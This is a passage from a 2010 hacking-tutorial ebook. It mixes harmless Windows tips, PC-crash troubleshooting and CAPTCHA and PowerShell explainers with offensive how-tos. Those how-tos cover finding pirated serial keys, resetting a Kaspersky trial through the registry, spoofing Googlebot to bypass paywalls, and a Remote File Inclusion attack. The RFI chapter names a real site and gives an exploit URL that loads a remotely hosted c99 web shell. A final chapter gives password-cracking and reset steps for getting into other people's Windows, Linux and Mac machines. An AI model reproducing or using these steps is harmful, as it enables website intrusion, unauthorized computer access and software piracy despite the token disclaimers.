  4178. CTRL+F5 (Restore the active console window)
  4179. ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
  4180. F2 key (Rename the selected item)
  4181. CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the
  4182. console)
  4183. Remote Desktop Connection Navigation
  4184. CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
  4185. ALT+PAGE UP (Switch between programs from left to right)
  4186. ALT+PAGE DOWN (Switch between programs from right to left)
  4187. ALT+INSERT (Cycle through the programs in most recently used order)
  4188. ALT+HOME (Display the Start menu)
  4189. CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
  4190. ALT+DELETE (Display the Windows menu)
  4191. CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide
  4192. the same functionality as pressing PRINT SCREEN on a local computer.)
  4193. CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide
  4194. the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
  4195. Microsoft Internet Explorer Navigation
  4196. CTRL+B (Open the Organize Favorites dialog box)
  4197. CTRL+E (Open the Search bar)
  4198. CTRL+F (Start the Find utility)
  4199. Hacking For Beginners – Manthan Desai 2010
  4200. w w w . h a c k i n g t e c h . c o . t v
  4201. Page 190
  4202. CTRL+H (Open the History bar)
  4203. CTRL+I (Open the Favorites bar)
  4204. CTRL+L (Open the Open dialog box)
  4205. CTRL+N (Start another instance of the browser with the same Web address)
  4206. CTRL+O (Open the Open dialog box, the same as CTRL+L)
  4207. CTRL+P (Open the Print dialog box)
  4208. CTRL+R (Update the current Web page)
  4209. CTRL+W (Close the current window)
  4210. Hacking For Beginners – Manthan Desai 2010
  4211. w w w . h a c k i n g t e c h . c o . t v
  4212. Page 191
  4213. 33. How to find serial numbers on Google
  4214. This is a little trick that I usually use to find CD keys with Google.
  4216. Quite simple really.94FBRis part of an Office 2000 Pro CD key that is widely distributed as it bypasses the activation
  4217. requirements of Office 2K Pro. By searching for the product name and94fbr, you guarantee two things.
  4218. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for.
  4219. 2) Because94FBRis part of a serial number, and only part of a serial number, you guarantee that any page being returned
  4220. is a serial number list page.
  4221. Step 1:- If you’re looking for a serial number for Nero (for example) go to google.com and type Nero 94FBR and it'll
  4222. bring it up.
  4223. This works great in Google.
  4224. “You can also use some serial number providing sites like www.smartserials.com ,
  4225. www.keygenguru.com etc. for searching the serial number on any software”.
  4226. Hacking For Beginners – Manthan Desai 2010
  4227. w w w . h a c k i n g t e c h . c o . t v
  4228. Page 192
  4229. 34. How to create a CON folder in Windows
  4230. Can you create a folder named "CON” in windows?
  4231. The Answer is NO and YES!
  4232. Why the answer is NO.
  4233. NO because when create a new folder and try to rename it to any one of the above specified names, you know what
  4234. happens! In Windows XP the folder name automatically changes back to "New Folder” no matter you try any number of
  4235. times. Where as in Windows Vista/7 when you try to rename the file you get an error message "The specified device
  4236. name is invalid”.
  4237. Why it is not possible to create a folder names CON?
  4238. Before we proceed further, let me tell you a small secret you can’t even create a folder named
  4239. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5,
  4240. LPT6, LPT7, LPT8, and LPT9.and many others.
  4241. YES the reason you can’t create a folder with these names is because these are reserved keywords used by DOS. The
  4242. below list is taken from Microsoft’s website shows a list of reserved keywords in DOS.
  4244. CON Key board and display.
  4245. PRN System list device, usually a parallel port.
  4246. AUX Auxiliary Device, usually a serial port.
  4247. CLOCK$ System real-time clock.
  4248. NUL Bit-bucket device.
  4249. A: - Z: Drive letters.
  4250. COM1 First serial communication port.
  4251. LPT1 First parallel printer port.
  4252. LPT2 Second Parallel printer port.
  4253. LPT3 Third Parallel printer port.
  4254. COM2 Second serial communication port.
  4255. COM3 Third serial communication port.
  4256. COM4 Fourth serial communication port.
  4257. Hacking For Beginners – Manthan Desai 2010
  4258. w w w . h a c k i n g t e c h . c o . t v
  4259. Page 193
  4260. If you try creating a folder with any of these names, the name automatically changes back to the default "New Folder”.
  4261. And this is what has caused the confusion. Instead of automatically renaming the folder, had an explanatory warning
  4262. message popped up.
  4263. Yes we can create a folder named CON.
  4264. There is actually a way to create a folder named CON, or any other name from the above list of reserved keywords. This
  4265. can be done through command prompt. But it is advisable not to do so, as it might result in your system becoming
  4266. unstable.
  4267. To create a folder named CON, go to command prompt and type "MD \\.\E:\CON” (without quotes). This will create a
  4268. folder named CON in E:. See the screen-shot below.
  4269. You cannot delete this folder by normal delete. To delete the folder, again go to command prompt and type
  4270. "RD \\.\E:\CON” without quotes. See the screen-shot below.
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  4274. I’ll again recommend you not to try this on your system, as it might become unstable. In case
  4275. you can’t stop yourself, don’t do it on a drive on which Windows is installed (generally C:).
  4276. So next time if any one tells you that we cannot rename a folder to con the create it and show
  4277. them.
  4278. Read more:http://www.hackingtech.co.tv/index/how_to_create_a_con_folder_in_windows/0-
  4279. 80#ixzz14sMiDwmJ
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  4283. 35. 10 Reasons why PC’s crash you must know
  4284. Fatal error: The system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete
  4285. to restart your computer. If you do this you will lose any unsaved information in all open applications."
  4286. You have just been struck by the Blue Screen of Death. Anyone who uses Microsoft Windows will be familiar with this.
  4287. What can you do? More importantly, how can you prevent it happening?
  4288. 1. Hardware conflict -
  4289. The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices
  4290. through an interrupt request channel (IRQ). These are supposed to be unique for each device.
  4291. For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ
  4292. 6. Each device will try to hog a single IRQ for itself.
  4293. If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number.
  4294. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a
  4295. hardware conflict is through the following route:
  4296. * Start-Settings-Control Panel-System-Device Manager.
  4297. Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in
  4298. the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears
  4299. twice, two devices may be using it.
  4300. Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored.
  4301. The best way to fix this problem is to remove the problem device and reinstall it.
  4302. Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good
  4303. resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a
  4304. different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
  4305. When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to
  4306. discharge any static electricity.
  4307. To be fair to Microsoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC
  4308. designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out
  4309. of them. There are plans to increase the number of IRQs in future designs.
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  4313. 2. Bad RAM -
  4314. RAM-(random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception
  4315. Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need
  4316. replacing.
  4317. But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram
  4318. with 60ns Ram will usually force the computer to run the entire Ram at the slower speed. This will often crash the
  4319. machine if the Ram is overworked.
  4320. One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more
  4321. stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take
  4322. some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the
  4323. gold connections, as they can be easily damaged.
  4324. Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not
  4325. to mix the two types, as this can be a cause of trouble.
  4326. EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free
  4327. memory problems often linked to old Dos-based programs.
  4328. 3. BIOS settings -
  4329. Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access
  4330. these settings is to press the F2 or delete button during the first few seconds of a boot-up.
  4331. Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that
  4332. appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what
  4333. settings to revert to.
  4334. A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS
  4335. latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the
  4336. computer's display.
  4337. Microsoft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS.
  4338. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes'
  4339. to allow Windows to do this.).
  4340. 4. Hard disk drives -
  4341. After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to
  4342. defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
  4343. * Start-Programs-Accessories-System Tools-Disk Defragmenter
  4344. This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting,
  4345. so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
  4346. The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
  4347. Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimization.
  4348. This can be adjusted by going to
  4349. * Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
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  4353. Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and
  4354. free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the
  4355. contents (not the folder) can free a lot of space.
  4356. Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad
  4357. sectors. Go to
  4358. * Start-Programs-Accessories-System Tools-Scandisk
  4359. Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
  4360. 5. Fatal OE exceptions and VXD errors -
  4361. Fatal OE exception errors and VXD errors are often caused by video card problems.
  4362. These can often be resolved easily by reducing the resolution of the video display. Go to
  4363. * Start-Settings-Control Panel-Display-Settings
  4364. Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For
  4365. most desktops, high colour 16-bit depth is adequate.
  4366. If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a
  4367. hardware conflict. Go to
  4368. * Start-Settings-Control Panel-System-Device Manager
  4369. Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue)
  4370. and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
  4371. If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you
  4372. do in case you make things worse.
  4373. The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button.
  4374. You are searching for a setting that will display a No Conflicts message.
  4375. Another useful way to resolve video problems is to go to
  4376. * Start-Settings-Control Panel-System-Performance-Graphics
  4377. Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating
  4378. to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a
  4379. device).
  4380. Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
  4381. 6. Viruses -
  4382. Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it
  4383. impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
  4384. * Start-Settings-Control Panel-Add/Remove Programs
  4385. Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
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  4389. A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a
  4390. DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
  4391. An excellent antivirus program is McAfee Virus Scan by Network Associates (www.nai.com). Another is Norton Antivirus
  4392. 2000, made by Symantec (www.symantec.com).
  4393. 7. Printers -
  4394. The action of sending a document to print creates a bigger file, often called a postscript file.
  4395. Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also
  4396. uses a considerable amount of CPU power. This will also slow down the computer's performance.
  4397. If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes
  4398. printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the
  4399. printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default
  4400. settings and you may be able to carry on.
  4401. 8. Softwares -
  4402. A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling
  4403. the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system
  4404. properly. This will also remove references to the programme in the System Registry and leaves the way clear for a
  4405. completely fresh copy.
  4406. The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg
  4407. Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows
  4408. 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
  4409. Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged
  4410. you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org
  4411. Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the
  4412. message "Starting Windows" press F4. This should take you into Safe Mode.
  4413. Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading
  4414. properly.
  4415. Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages
  4416. (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to
  4417. disable the Level 2 (L2) cache if that doesn't work.
  4418. Remember to restore all the BIOS settings back to their former settings following installation.
  4419. 9. Overheating -
  4420. Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it
  4421. may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that
  4422. have been over clocked to operate at higher speeds than they are supposed to.
  4423. One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heat sinks are available
  4424. from www.computernerd.com or www.coolit.com
  4425. CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more
  4426. slowly, but it should also be more stable.
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  4430. 10. Power supply problems -
  4431. With all the new construction going on around the country the steady supply of electricity has become disrupted. A power
  4432. surge or spike can crash a computer as easily as a power cut.
  4433. If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean
  4434. power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a
  4435. power cut.
  4436. It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.
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  4440. 36. How to use Kaspersky for lifetime
  4441. How to use Kaspersky for Lifetime without Patch
  4442. Generally Kaspersky provide us 30 days trial period on its Anti-virus Product. So there are the few steps that you have to
  4443. perform when your trial license going to expire after 30 days for getting a new trial license.
  4444. Step 1. Delete old key and turn off self defense (Settings-Options in kaspersky and turn off Enable self-defense, and click
  4445. OK).
  4446. Step 2. Open Registry editor (click start in windows menu then go to run and write regedit and click Ok) and go through
  4447. These:
  4448. For 32bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ KasperskyLab \ protected \ AVP9 \ environment
  4449. For 64bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ Wow6432Node \ KasperskyLab \ protected \ AVP9 \ environment
  4450. Step 3. Right look for PCID and right click and modify three or four last numbers or letters example:
  4451. (8F10C22F-6EF6-4378-BAB1-34722F6D454)
  4452. and enter any other three-letter four-number and close the Registry Editor.
  4453. Step 4. Right click on Kaspersky icon in the task bar and choose exit.
  4454. Step 5. Go to Start-Programs menu, open the Kaspersky and when you activate searching trial license and you have new
  4455. license of a peaceful month.
  4456. Step 6. Go to Kaspersky settings and turn on self-defense.
  4457. This is hardly a 2 minute job and you got again a trial period of 30 days, and there is no rush for more keys.
  4458. Note : Most of the patches that you will found on the net are basically work on that trick, they simply make the changes in
  4459. the registry and change identification of your computer to the Kaspersky server, thus Kaspersky log server recognizes you
  4460. as a new user and assigns you new trial license.
  4461. “Patching the antivirus like this is illegal this tutorial is for educational purpose only.”
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  4465. 37. Disguise as google bot to view hidden data
  4466. Disguise as Google Bot to view Hidden Content of a Website
  4467. Have you ever experienced this? You ask Google to search something and it will return a lot of relevant search results, but
  4468. if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the
  4469. stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first. This means that
  4470. Google is able to see what a normal surfer cannot see.
  4471. The reason behind this is that Google uses a Bot called GoogleBot and most of websites which force users to register or
  4472. even pay in order to search and use their content, leave a backdoor open for the GoogleBot because a prominent
  4473. presence in Google searches is known to generate sales leads, site hits and exposure. Examples of such sites are Expert-
  4474. Exchange, Windows Magazine, .Net Magazine, Nature, and many other sites around the globe.
  4475. What if you could disguise as GoogleBot then you can also see what GoogleBot can.
  4476. How to Disguise as Google Bot?
  4477. It is quite simple. You just need to change your browser’s User Agent. To change your Browser’s User Agent follows the
  4478. steps given below:
  4479. Step 1:- Copy the following code segment into a notepad file and save it as Useragent.reg .
  4480. Windows Registry Editor Version 5.00
  4481. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
  4482. @=”Googlebot/2.1″
  4483. "Compatible”=”+http://www.googlebot.com/bot.html”
  4484. Step 2:-Now Double-Click on the file Useragent.reg to merge the registry file into your Windows Registry.
  4485. Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.
  4486. Step 4:- Viola! You’re done! Now you have become Google Bot.
  4487. “Direct Download From Here: http://www.hackingtech.co.tv/useragent.reg”
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  4491. How revert back to Normal Agent?
  4492. For IE users: To restore the IE User Agent, Follow the Given Steps Below:
  4493. Step 1:- Copy the following code segment into a notepad file and save it as Normalagent.reg .
  4494. Windows Registry Editor Version 5.00
  4495. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
  4496. @=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”
  4497. Step 2:-Now Double-Click on the file Normalagent.reg to merge the registry file into your Windows Registry.
  4498. Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.
  4499. For Opera Users: Opera allows on-the-fly for switching of User Agents through its "Browser Identification” function.
  4500. For Firefox users: Just download User Agent Switcher extension for Firefox.
  4501. Step 1:- Now Go to Tools -> User Agent Switcher -> Options -> Options.
  4502. Step 2:- Click "User Agents.
  4503. Step 3:- Click” Add” and fill the following information in the form.
  4504.  Description: GoogleBot
  4505.  User Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  4506.  App Name: GoogleBot
  4507.  App Version: 5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  4508.  Platform: +http://www.google.com/bot.html
  4509.  Vendor:
  4510.  Vendor Sub:
  4511. Step 4:- Click "OK”.
  4512. Step 5:- Now you may change the user agent on the fly.
  4513. “Download User Agent Switcher extension for Firefox from Here:
  4514. https://addons.mozilla.org/en-US/firefox/addon/59 ”
  4515. “Direct Download From Here: http://www.hackingtech.co.tv/normalagent.reg”
  4516. “This is For Educational purpose do not hack any website through this.”
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  4520. 38. How to download Facebook Videos
  4521. In This Tutorial I Will Explain You How to Download the Facebook Videos from your friends profile easily.
  4522. Step 1:- First Of all open http://m.facebook.com on your PC browser. (Google Chrome recommended)
  4523. Step 2:-Then Login to Your Account.
  4524. Step 3:- After Logging in to your account go The Video page (Fig-1)
  4525. (Fig-1) (Fig-2)
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  4528. Page 204
  4529. Step 4:- Click on the External Link and a new window Will Open. (Fig-2)
  4530. Step 5:- Copy The URL of The Window.
  4531. Step 6:- Now Paste this in the Internet Download Manager, add URL Window.
  4532. Step 7:- Click OK and You are done the video from your friends profile will be downloaded without any streaming.
  4533. “Download ‘Internet Download manager’ from here:
  4534. http://www.internetdownloadmanager.com/download.html
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  4538. 39. Hack a website by Remote File Inclusion
  4539. Another website attack named Remote file inclusion is basically a one of the most common vulnerability found in web
  4540. application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker
  4541. gets successful in performing the attack he/she will gain access to the web server and hence can execute any command
  4542. on it.
  4543. Searching the Vulnerability
  4544. Remote File inclusion vulnerability is usually occurred in those sites which have a navigation similar to the below one
  4545. www.Targetsite.com/index.php?page=Anything
  4546. To find the vulnerability the hacker will most commonly use the following Google Dork
  4547. "inurl:index.php?page=”
  4548. This will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to
  4549. Remote file Inclusion or not the hacker use the following command
  4550. www.targetsite.com/index.php?page=www.google.com
  4551. Let’s say that the target website is http://www.cbspk.com
  4552. So the hacker URL will become
  4553. http://www.cbspk.com/v2/index.php?page=http://www.google.com
  4554. If after executing the command the homepage of the google shows up then the website is vulnerable to this attack if it
  4555. does not come up then you should look for a new target. In my case after executing the above command in the address
  4556. bar Google homepage shows up indicating that the website is vulnerable to this attack.
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  4560. Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would
  4561. use c99 shell.
  4562. The hacker would first upload the shells to a web hosting site such as ripway.com, 110mb.com etc.
  4563. Now here is how a hacker would execute the shells to gain access. Let’s say that the URL of the shell is
  4564. http://h1.ripway.com/yourdomain/c99.txt
  4565. Now here is how a hacker would execute the following command to gain access
  4566. http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/yourdomain/c99.txt?
  4567. Remember to add "?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he
  4568. could do anything with it
  4569. “Download ‘Internet Download manager’ from here: http://www.hackingtech.co.tv/RFI/c99shell.zip “.
  4570. “This Tutorial is for educational purpose only please do not hack any website listed here and try to
  4571. damage their data.
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  4575. 40. What is CAPTCHA and how it works?
  4576. CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for "Completely Automated Public Turing test to tell
  4577. Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by
  4578. humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end
  4579. of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of
  4580. CAPTCHA.
  4581. Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of
  4582. what it is and why they are used. So in this post you will find detailed information on how CAPTCHA works and why they
  4583. are used.
  4584. What Purpose does CAPTCHA Exactly Serve?
  4585. CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For
  4586. example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to
  4587. ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer
  4588. bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for
  4589. a computer, it is almost impossible to solve.
  4590. What is the Need to Create a Test that Can Tell Computers and Humans Apart?
  4591. For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious
  4592. attacks where people try to game the system. Attackers can make use of automated software’s to generate a huge
  4593. quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a
  4594. given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their
  4595. requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from
  4596. Gmail, Yahoo and Hotmail.
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  4600. Who Uses CAPTCHA?
  4601. CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Webbased
  4602. email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up
  4603. process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.
  4604. Designing a CAPTCHA System
  4605. CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing
  4606. visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is
  4607. because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting
  4608. users with an image which contains distorted or randomly stretched characters which only humans should be able to
  4609. identify. Sometimes characters are striked out or presented with a noisy background to make it even harder for
  4610. computers to figure out the patterns.
  4611. Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell
  4612. humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and
  4613. one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can
  4614. easily be solved by any human, but almost impossible for a computer.
  4615. Breaking the CAPTCHA
  4616. The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way
  4617. similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the
  4618. computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm
  4619. that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled
  4620. individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.
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  4624. 41. Hack Password of any Operating System
  4625. How to Hack Password of any Operating System
  4626. Today we will learn how to hack and gain the access of a PCs operating system as one thing any hacker should know is
  4627. how to hack into login account of any operating system. Major Operating Systems that are used these days are Windows,
  4628. Linux and Mac. So today I will show you how to hack into these Operating Systems. Are you curious how easy it is for
  4629. someone to gain access to your computer? If so, read on to see the technique one might use to figure out your computer
  4630. password.
  4631. So let’s start with the common OS
  4632. Windows -
  4633. Windows being very popular has a lot of programs available which can be used to hack the login password. One of the
  4634. most successful programs is Ophcrack, and it is free. Ophcrack is based on Slack ware, and uses rainbow tables to solve
  4635. passwords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertise
  4636. needed? None.
  4637. Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into a
  4638. machine you would like to gain access to, then press and hold the power button until the computer shuts down. Turn the
  4639. computer back on and enter BIOS at startup. Change the boot sequence to CD before HDD, then save and exit.
  4640. The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down the
  4641. password it gives you, remove the disc, restart the computer, and log in as if it were you own machine.
  4642. You can download OphCrack from the following link:
  4643. http://ophcrack.sourceforge.net
  4644. There is another hack possible with the same technique using a CD named "Hiren Boot CD" for hacking Windows
  4645. password.
  4646. You can download OphCrack from the following link:
  4647. http://www.hirensbootcd.net/download.html
  4648. Now Lets Continue With
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  4652. Linux -
  4653. Linux is an operating system which is quickly gaining popularity in mainstream, but not so common that you’re likely to
  4654. come across it. Though Mac and Linux are both based on UNIX, it is easier to change the password in Linux than it is OS X.
  4655. To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight
  4656. ‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.
  4657. You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password. This will
  4658. change the root password to whatever you enter. If you’re interested in only gaining access to a single account on the
  4659. system, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would like
  4660. to alter the password for.
  4661. And finally hacking the
  4662. Mac -
  4663. Finally we take on Mac’s OS X which as we said earlier is based on UNIX and is difficult to change password compared to
  4664. Linux but nothing is impossible to be hacked.
  4665. The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows.
  4666. However, there are other methods that can be used, as demonstrated below.
  4667. If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up,
  4668. select UTILITIES > RESET PASSWORD. Choose a new password and then use that to log in.
  4669. If the Mac runs OS X 10.5, restart the computer and press COMMAND + S. When at the prompt, type:
  4670. fsck -fy
  4671. mount -uw /
  4672. launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
  4673. dscl . -passwd /Users/UserName newpassword
  4674. That’s it. Now that the password is reset, you can login.
  4675. “This Tutorial is for educational purpose only please do not hack any computer and their OS and
  4676. try to damage their data.
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  4680. 42. Windows PowerShell Security in brief
  4681. First of all the question arises in your mind is that what is
  4682. Windows PowerShell???
  4683. Windows PowerShell is Microsoft's task automation framework, consisting of a command-line shell and
  4684. associated scripting language built on top of, and integrated with, the .NET Framework. PowerShell provides full access
  4685. to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems.
  4686. In PowerShell, administrative tasks are generally performed by cmdlets (pronounced command-lets), specialized
  4687. .NET classes implementing a particular operation. Sets of cmdlets may be combined together
  4688. in scripts, executables (which are standalone applications), or by instantiating regular .NET classes (or WMI/COM
  4689. Objects). These work by accessing data in different data stores, like the file system or registry, which are made available
  4690. to the PowerShell runtime via Windows PowerShell providers.
  4691. Windows PowerShell also provides a hosting mechanism with which the Windows PowerShell runtime can be embedded
  4692. inside other applications. These applications then leverage Windows PowerShell functionality to implement certain
  4693. operations, including those exposed via the graphical interface. This capability has been utilized by Microsoft Exchange
  4694. Server 2007 to expose its management functionality as PowerShell cmdlets and providers and implement
  4695. the graphical management tools as PowerShell hosts which invoke the necessary cmdlets. Other Microsoft applications
  4696. including Microsoft SQL Server 2008 also expose their management interface via PowerShell cmdlets. With PowerShell,
  4697. graphical interface-based management applications on Windows are layered on top of Windows PowerShell. In the future
  4698. all Microsoft applications running on the Windows platform are to be PowerShell aware.
  4699. Windows PowerShell includes its own extensive, console-based help, similar to man pages in UNIX shells via the Get-
  4700. Help cmdlet.
  4701. Let us now Study About the built-in PowerShell security features as well as some additional security you can configure
  4702. once in PowerShell.
  4703. With all of the effort and sweat that has gone into PowerShell, it had better come with some advanced security. Well, it
  4704. does! PowerShell is not just your routine scripting language. There are built in security features, as well as some
  4705. additional security you can configure once in PowerShell.
  4706. PowerShell Default Security
  4707. Just getting to the PowerShell interface can be a task for some. Not that this is security related, just that you must be in
  4708. the PowerShell interface before you can do much of anything. This in itself is security. There are however, some default
  4709. security measures that are there by design to help ensure that anyone with malicious intent is denied their efforts.
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  4713. What is in a path?
  4714. The first default security measure that you will encounter is that fact that PowerShell won’t run scripts that are in the
  4715. current folder. This is so that malicious scripts attempting to intercept cmdlets and command names will fail.
  4716. For example, if you wanted to run a script named Example.ps1 from the C:\scripts folder, you would need to include the
  4717. full path to the script, even if you were in the C:\scripts folder within PowerShell. Figure 1 illustrates what happens when
  4718. you just try to run Example.ps1 without a path.
